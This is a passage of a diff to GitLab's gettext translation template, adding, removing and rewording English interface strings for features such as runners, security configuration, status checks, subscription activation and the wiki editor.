msgid "Pre-defined push rules."
msgstr ""
@@ -24313,6 +24813,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24667,7 +25170,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -24925,6 +25428,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25078,9 +25584,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25555,9 +26058,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25609,12 +26109,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25627,6 +26121,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25639,9 +26136,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25657,10 +26151,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25669,9 +26163,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26419,9 +26910,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26431,6 +26919,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26528,7 +27019,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26760,9 +27251,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26778,6 +27266,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27713,6 +28204,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28279,16 +28782,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28303,6 +28815,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28315,6 +28830,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28327,10 +28845,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28339,6 +28857,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28393,6 +28914,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28411,9 +28935,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28435,9 +28956,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28606,6 +29124,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28672,6 +29193,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -28906,6 +29430,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29059,9 +29586,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29296,9 +29820,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29535,6 +30056,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29628,6 +30155,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -29865,6 +30395,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30171,6 +30704,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30186,10 +30722,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30411,18 +30950,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30456,9 +31034,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30513,6 +31088,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30618,6 +31196,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30729,6 +31310,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30753,6 +31337,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -30864,42 +31451,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -30909,18 +31547,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -30939,6 +31607,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31161,6 +31832,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31313,9 +31987,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31453,6 +32124,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31483,7 +32157,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31505,6 +32179,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31695,6 +32372,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31740,6 +32420,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31758,9 +32441,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32064,9 +32744,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32133,12 +32810,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32166,6 +32837,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32229,9 +32903,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32274,9 +32945,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32400,7 +33068,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32502,9 +33173,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -32838,6 +33506,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -32880,9 +33551,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -32907,6 +33575,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -32958,9 +33629,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -32991,12 +33659,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33006,6 +33668,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33057,6 +33722,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33230,9 +33898,6 @@ msgstr[0] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33347,9 +34012,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33467,13 +34129,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33503,9 +34165,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33702,6 +34361,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -33927,6 +34589,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34170,6 +34835,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34329,6 +34997,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34650,6 +35321,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34659,6 +35333,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34767,27 +35444,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -34920,6 +35615,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -34941,6 +35639,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35052,6 +35753,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35615,15 +36319,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35663,9 +36367,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35693,16 +36394,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35735,9 +36436,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -35979,6 +36677,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36087,6 +36788,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36105,12 +36812,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36120,6 +36833,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36141,9 +36860,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36312,6 +37028,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36516,6 +37235,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36627,9 +37349,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -36912,10 +37640,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
